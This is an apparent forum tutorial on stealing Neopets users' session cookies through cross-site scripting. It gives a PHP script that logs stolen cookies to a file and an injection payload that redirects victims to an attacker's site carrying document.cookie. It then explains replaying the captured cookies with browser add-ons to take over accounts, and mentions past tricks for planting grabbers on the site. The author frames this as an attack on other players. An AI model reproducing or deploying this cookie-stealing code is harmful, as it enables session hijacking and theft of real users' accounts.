First off, thank you to (you need an account to see links) for giving me a couple accounts to cookie grab.
Secondly, thank you to Kyo for his expertise; most of what I've learned is from him. The rest, I learned along the way. Now, onto the guide.
Thirdly, yes. You really are looking at a cookie grabbing guide.
Cross-site scripting (XSS) is possible when a site has insecure coding. When websites allow us to interact with them (e.g. search box, comment boxes, etc) and don't keep it secure, they render themselves vulnerable to code injection.
Basic knowledge of HTML
A website host (nearlyfreespeech, tech.coop, netfirms, etc)
Writing the script
People use PHP to retrieve the cookies and record it to a text file. A PHP script begins with <?php and ends with ?>.
Sending anyone the link to your website with the script in it (1) snags their cookies (2) records in a log (3) redirects them to whatever link specified.
// This is a redirect link takes the user to the specified link
// after they view the page the cookie-grabbing code is on.
$cookie = $_GET['cookie'];
// This line sends data to the PHP file using the GET command.
// The data is named ‘cookie’.
$file = fopen('log.txt', 'a');
// This opens a file named log.txt.
fwrite($file , 'cookie: '.$cookie);
// This writes the ‘cookie’ to the file
fwrite($file , "\r\n");
// This is a line break.
// This closes the file.
Finding an exploit
(Note: The demonstrated exploit has been patched.)
Take for example the below and its corresponding result:
Bingo, a ‘1’ pops up.
Now try <script>alert(document.cookie)</script>
Now you should have a popup that shows you your cookies. The highlighted portion is the neologin, which is the only information we need.
You don’t actually write the data to the server unless you inject a script that modifies the page on the server’s end. The only thing you change is how the dynamic page acts on your end. As a result when you send someone else the page, you have to send him or her the link with the injection already in that page.
Using this script will grab someone else’s cookies and log it on your site.
Unfortunately, document.cookie is blocked on Neopets. There are/have been ways around this and alternatives (not listed).
<script>document.location = 'http://www.yourwebsite.com/cger.php?cookie=' + escape(document.cookie);</script>
Using the Cookies
Now that you’ve got their cookies recorded, you need to use them. This is done by replacing your Neopets cookie with ttheir cookie. Fortunately, we have addons to make it easy for us to do that.
(you need an account to see links)
(you need an account to see links)
How Did People Place Cookie Grabbers Onsite?
Above, we discussed CGing that involved having someone click on a link that took them to an offsite page to snag their cookies. But how did people CG in the last petpage scare? This was mostly due to an error on TNT's part; you were able to link offsite by manipulating the battledome stats. This, of course, has since been patched due to rampant abuse.
In a similar fashion...
Getting into CSS a bit...
Of note, there have been rumors that someone is working on a cookie grabber where simply clicking on a thread in the BD Chat/Pound Chat/Trade Chat gets you CG'd... cough. But alas, it's simply a rumor.
Finally, I won't help you cookie grab others or write a cookie grabber for you. You can use Google if you want to learn more. Suggestions for improvement are happily taken. Did I make any mistakes? Correct me.
And since you were so patient and hardworking...